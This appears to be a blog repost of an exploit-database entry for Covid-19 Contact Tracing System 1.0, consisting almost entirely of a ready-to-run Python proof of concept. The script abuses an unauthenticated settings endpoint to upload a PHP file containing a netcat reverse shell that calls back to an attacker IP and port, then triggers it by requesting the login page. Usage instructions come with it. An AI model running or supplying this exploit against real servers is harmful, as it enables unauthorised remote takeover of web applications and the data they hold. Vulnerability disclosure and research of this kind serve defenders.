Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86381251

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Covid-19 Contact Tracing System 1.0 - Remote Code Execution (Unauthenticated)
# Date: 28-02-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14728/covid-19-contact-tracing-system-web-app-qr-code-scanning-using-php-source-code.html
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.

# --- Proof of concept --- #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'name': 'PWNED', 'img': (random_file_name, revshell_string, 'application/x-php')})
  print("(+) Uploading php reverse shell..")
  r1 = requests.post('http://{}/cts_qr/classes/SystemSettings.php?f=update_settings'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  if r1.text == '1':
    print("(+) File upload seems to have been successful!")
    return None
  else:
    print("(-) Oh no, the file upload seems to have failed!")
    exit()

def trigger_shell(target_ip):
  print("(+) Now trying to trigger our shell..")

  #The file we uploaded previously is expected to be an image that the web app tries to embed into the login page.
  #So by requesting the login page, our reverse shell php file will get triggered automatically. We dont even need to calculate the random bits of its new name.
  r2 = requests.get('http://{}/cts_qr/login.php'.format(target_ip))
  return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
    sys.exit(-1)

  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip)
  print("\n(+) done!")

if __name__ == "__main__":
  main()